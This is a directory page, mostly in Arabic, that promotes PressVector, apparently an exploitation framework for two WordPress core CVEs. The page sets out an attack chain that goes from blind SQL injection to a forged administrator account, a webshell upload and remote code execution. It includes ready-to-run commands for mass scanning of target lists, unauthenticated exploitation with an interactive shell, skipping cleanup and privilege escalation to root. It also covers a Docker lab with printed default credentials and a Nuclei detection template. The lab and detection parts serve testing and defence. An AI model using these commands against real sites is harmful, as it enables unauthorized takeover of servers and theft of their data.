Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PressVector — PressVector - ماسح ثغرات متقدم لووردبريس CVE-2026-63030 (التباس مسار REST الدفعي) / CVE-2026-60137 (حقن SQL) المطوّر: Vulnquest | Kitploit
أدوات/GitHubGitHub/vulnquest58/pressvector
الاستطلاعماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبجمع المعلوماتأمن الويباختبار الاختراق
GitHubvulnquest58/pressvector

PressVector

PressVector - ماسح ثغرات متقدم لووردبريس CVE-2026-63030 (التباس مسار REST الدفعي) / CVE-2026-60137 (حقن SQL) المطوّر: Vulnquest

عرض المستودع
1133منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🧨 PressVector — إطار استغلال WordPress CVE-2026-63030 / CVE-2026-60137

⚡ إطار متقدم لاستغلال RCE قبل المصادقة وBlind SQLi في نواة WordPress


📌 نظرة عامة

PressVector هو إطار استغلال شامل ومؤتمت بالكامل يستهدف CVE-2026-63030 وCVE-2026-60137 — وهما ثغرتان حرجتان في نواة WordPress تتيحان معًا تنفيذ تعليمات برمجية عن بُعد دون مصادقة.

يسلسل الإطار بين REST Batch Route Confusion وحقن SQL أعمى (blind SQL injection) لتزوير جلسات مسؤول، ونشر webshells، وتنفيذ أوامر نظام تشغيل عشوائية — كل ذلك دون أي بيانات اعتماد.

⚠️ لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط.


🔍 ما هو CVE-2026-63030 (wp2shell)؟

CVE-2026-63030 هي ثغرة RCE حرجة قبل المصادقة في نواة WordPress، اكتشفها Adam Kues (Assetnote / Searchlight Cyber). يستغل هذا الإطار ثغرتين مستقلتين متسلسلتين:

CVEالاستشارةالنوعالتأثير
CVE-2026-63030GHSA-ff9f-jf42-662qREST Batch Route ConfusionRCE قبل المصادقة
CVE-2026-60137GHSA-fpp7-x2x2-2mjfحقن SQL عبر author__not_inBlind SQLi قبل المصادقة

💥 سلسلة الاستغلال

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 الإصدارات المتأثرة

إصدار WordPressCVEs المنطبقةالتأثيرالحالة
6.8.0 – 6.8.5CVE-2026-60137🟡 Blind SQLi (عالٍ)❌ عرضة للثغرة
6.9.0 – 6.9.4CVE-2026-63030 + CVE-2026-60137🔴 Pre-Auth RCE (حرج)❌ عرضة للثغرة
7.0.0 – 7.0.1CVE-2026-63030 + CVE-2026-60137🔴 Pre-Auth RCE (حرج)❌ عرضة للثغرة
7.1-alpha / 7.1-beta1CVE-2026-60137🟡 SQLi (عالٍ)❌ عرضة للثغرة
6.8.6+ / 6.9.5+ / 7.0.2+—✅ مُصحّح✅ آمن

📦 التثبيت

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ الأدوات المضمّنة

1️⃣ pressvector.py — إطار الاستغلال الرئيسي

إطار استغلال متكامل الميزات مع 4 أوضاع تشغيل.

🔎 scan — ماسح ثغرات متعدد الأهداف

ماسح سريع متعدد الخيوط لاكتشاف تثبيتات WordPress المعرّضة للثغرات على نطاق واسع.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — تأكيد الحقن الأعمى SQLi

تأكيد حقن SQL الأعمى القائم على الوقت على هدف واحد مع معايرة التوقيت.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — سلسلة استغلال RCE الكاملة

الاستغلال الكامل: تزوير حساب المسؤول ← نشر webshell ← تنفيذ الأوامر.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — تصعيد الصلاحيات

محاولة تصعيد الصلاحيات محليًا بعد تحقيق RCE.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — قالب كشف Nuclei

قالب Nuclei جاهز للإنتاج للكشف السلبي على نطاق واسع.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

ميزات القالب:

  • 🔍 كشف الإصدار متعدد المصادر (meta generator + RSS feed كبديل احتياطي)
  • 📡 بصمة مساحة أسماء REST API
  • 🎯 فحص إمكانية الوصول إلى المسارات على دفعات
  • 📋 مخرجات ديناميكية: الإصدار، نوع CVE، متجه الهجوم

🧪 بيئة المختبر (Docker)

يُضمَّن مختبر اختبار اختراق مؤتمت بالكامل ومُحاوَى لاختبار هذه الثغرات بأمان وعزلة.

البدء السريع

Windows (PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(انتظر حوالي 60-90 ثانية في التشغيل الأول حتى يقوم مثبّت WP-CLI بإعداد جميع مواقع WordPress تلقائيًا).

خدمات المختبر والمنافذ

المنفذالخدمةإصدار WordPressالثغرة / الحالة
8080الهدف 16.8.5CVE-2026-60137 (Blind SQLi فقط) 🔴
8081الهدف 26.9.4CVE-2026-63030 (Pre-Auth RCE) 🔴
8082الهدف 37.0.1CVE-2026-63030 (Pre-Auth RCE) 🔴
8083المرجعالأحدثمُصحَّح / مرجع آمن ✅
8084PHPMyAdmin—أداة إدارة قواعد البيانات
8085لوحة تحكم المختبر—واجهة ويب تعرض حالة الأهداف والأوامر القابلة للنسخ 🖥️

بيانات اعتماد المسؤول: admin / admin123
كلمة مرور جذر MySQL: root

التحقق والاختبار الآلي

يمكنك التحقق من حالة المختبر بالكامل ومسارات الاستغلال باستخدام مجموعة الاختبار الآلي:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

أوامر التحكم في المختبر

  • إيقاف المختبر (مع الاحتفاظ بالبيانات): شغّل stop-lab.sh أو .\stop-lab.ps1
  • إعادة ضبط المختبر (مسح البيانات وتنظيف البناء): شغّل reset-lab.sh أو .\reset-lab.ps1

للحصول على تعليمات أكثر تقدمًا واستكشاف الأخطاء وإصلاحها، راجع Lab README.


🏗️ البنية

تنزيل الأداة